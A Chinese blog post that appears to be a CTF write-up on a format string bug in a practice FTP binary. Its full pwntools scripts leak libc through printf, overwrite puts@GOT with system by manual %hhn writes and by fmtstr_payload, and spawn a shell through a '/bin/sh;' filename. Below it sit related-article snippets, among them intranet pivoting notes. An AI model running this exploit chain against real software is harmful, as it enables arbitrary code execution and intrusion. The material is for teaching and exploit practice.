格式化字符串漏洞练习

VSole2022-07-06 17:01:05

ftp程序,需要使用rxraclhm账号登录,提供了get、put、dir三个功能,分别读文件、上传文件、查看目录。

其中get方法存在格式化字符串漏洞:

所以需要先put一个文件,内容是payload,然后get这个文件。

先测试一下偏移:

from pwn import * # context.log_level = 'debug' sh = process("./pwn3") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p') def get():    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(b"aaa") put()get() print(sh.recv())sh.interactive()

结果:

看到tag偏移量是7。

再测试一下,把put最后一行改一下:

def put():    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(b"aaa")    sh.recvuntil(b"then, enter the content:")    sh.sendline(b'AAAA%7$p')

确定偏移是7。

dir方法:

开始构造payload:

把puts的地址改成system的地址,然后put一个文件,文件名为‘/bin/sh;’, 然后再调用dir, show_dir()函数会执行puts("/bin/sh;...")

也就是 system("/bin/sh;..."),反弹shell。

exp:

from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir") sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr  def compute_order_32(target):    print("target=%x"%target)    dic = {}    for i in range(4):        x = (target >> (i * 8))        x &= 0xff        dic[i] = x             ls = list(dic.items())    ls.sort(key=lambda x:x[1])    return ls  def hack(addr, value, offset_start):    list_of_value = compute_order_32(value)    print(list_of_value)     payload = flat([        p32(addr + 0),        p32(addr + 1),        p32(addr + 2),        p32(addr + 3)    ])     total_char = 16    for it in list_of_value:        curr_char = it[1] - total_char        total_char += curr_char        payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"     print("addr=%x"%addr)    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

需要计算偏移量覆盖got['puts']

怎么覆盖看这个:https://bbs.pediy.com/thread-273213.htm

可以用pwntools里面的方法,一行代码搞定:payload = fmtstr_payload(7, {addr: value})

使用fmtstr_payload后的版本:

from pwn import *from LibcSearcher import LibcSearcher context.log_level = 'debug' elf = ELF("./pwn3") sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file" sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")sh.sendline(b"rxraclhm") def put(file_name, file_content):    sh.recvuntil(b"ftp>")    sh.sendline(b"put")    sh.recvuntil(b"please enter the name of the file you want to upload:")    sh.sendline(file_name)    sh.recvuntil(b"then, enter the content:")    sh.sendline(file_content) def get(file_name):    sh.recvuntil(b"ftp>")    sh.sendline(b"get")    sh.recvuntil(b"enter the file name you want to get:")    sh.sendline(file_name) def dir():    sh.recvuntil(b"ftp>")    sh.sendline(b"dir")  def leakage_function_addr(got_addr):    put(b'get_addr', b'%8$s' + p32(got_addr))    get(b'get_addr')    function_addr = u32(sh.recv(4))     return function_addr def hack(addr, value, offset_start):    payload = fmtstr_payload(7, {addr: value})    debug(payload)     put(b'hack', payload)    get(b'hack')   printf_addr = leakage_function_addr(elf.got['printf'])print("function_addr=0x%x" %printf_addr) libc = LibcSearcher("printf", printf_addr)libcBase = printf_addr - libc.dump('printf')print("libcBase=%x" %libcBase)  system_addr = libcBase + libc.dump('system')print("system_addr=%x" %system_addr) hack(elf.got['puts'], system_addr, 7)put(b'/bin/sh;', b'get shell') dir() sh.interactive()

看下区别,这个是pwntools生成的payload:

这个是我的:

区别在格式化字符串和指针的位置不同。

看下覆盖后的got,已经变成system了,nice。

printfftp
本作品采用《CC 协议》,转载必须注明作者和本文链接
ftp程序,需要使用rxraclhm账号登录,提供了get、put、dir三个功能,分别读文件、上传文件、查看目录。
本文就简单介绍介绍如何编译一个musl libc下的程序,并通过它简单调试调试musl libc 的一些特性。安装musl环境&&符号表这里直接用0xRGz师傅的做法。(这里的/path/to是需要修改的,也就是你git的muslheap的路径。freed_mask记录group中已经被free释放的堆块,当前没有任何被释放的堆块,所以它为0。free_able为1表示当前有一个堆块能free。sizeclass为2 表示由0x2这个group进行管理这一类的大小的chunk。maplen为0说明这个group不是通过mmap分配的。接下来我们调试调试meta dequeue第二种触发方式——malloc的时候。
监控我们的环境对于服务器运维来说至关重要,尤其是在部署新的应用程序时。如今,公司每天都使用开源解决方案来监控系统资源。但是,当出于测试的目的来监控一定时间时,bash 脚本会派上用场。在本教程中,我们将编写一个 bash shell 脚本,它将输出一个三列表,来显示我们机器上的内存、磁盘和 CPU 的百分比。该脚本基本上由三个主要部分组成:1.监控内存:free?和2 分别充当已用量和总量。$5 将从该行中选择第 5 个字段。
内网渗透合集(二)
2023-01-28 09:35:05
接下来在内网肉鸡再次执行:htran -p -slave 公网肉鸡IP 119 127.0.0.1 8009?linux也有实现,感觉使用方法更加明朗,且与windows下的兼容 在此推荐下。把windows的小做修改下,重新编译了下,源程序比较简单就不上传工程文件了,直接给个C文件,自己编译下即可。linux下实现大同小异,只不过用的fork实现子线程。此时在渗透测试端192.168.10.50可看到通道连接成功,效果如图4。
0x02 环境复现在我们通过子域名进入目标内网5个小时被对方蓝队踢出来,所以非常需要一个入口点再次进入到目标内网,后来找到了一个具有回显的SSRF,至于HFS服务器是我们在5个小时的时间中唯一拿下来的Windows机器。这里SSRF所在的服务器以及HFS服务器均不出网,但是SSRF由于是一个商城系统所以可以上传图片(头像)。基于此我在虚拟机中搭建了HFS服务器,并未搭建商城。
这里建议doc文档,图片可以贴的详细一些。爆破完好了,一样的6。想给它一个清晰完整的定义其实是非常困难的。
一个内网安全攻防的知识仓库
一、漏洞挖掘的前期–信息收集 虽然是前期,但是却是我认为最重要的一部分; 很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。
红蓝对抗—蓝队手册
2022-03-18 14:22:22
红蓝对抗的主要目的在于,提高公司安全成熟度及其检测和响应攻击的能力。
VSole
网络安全专家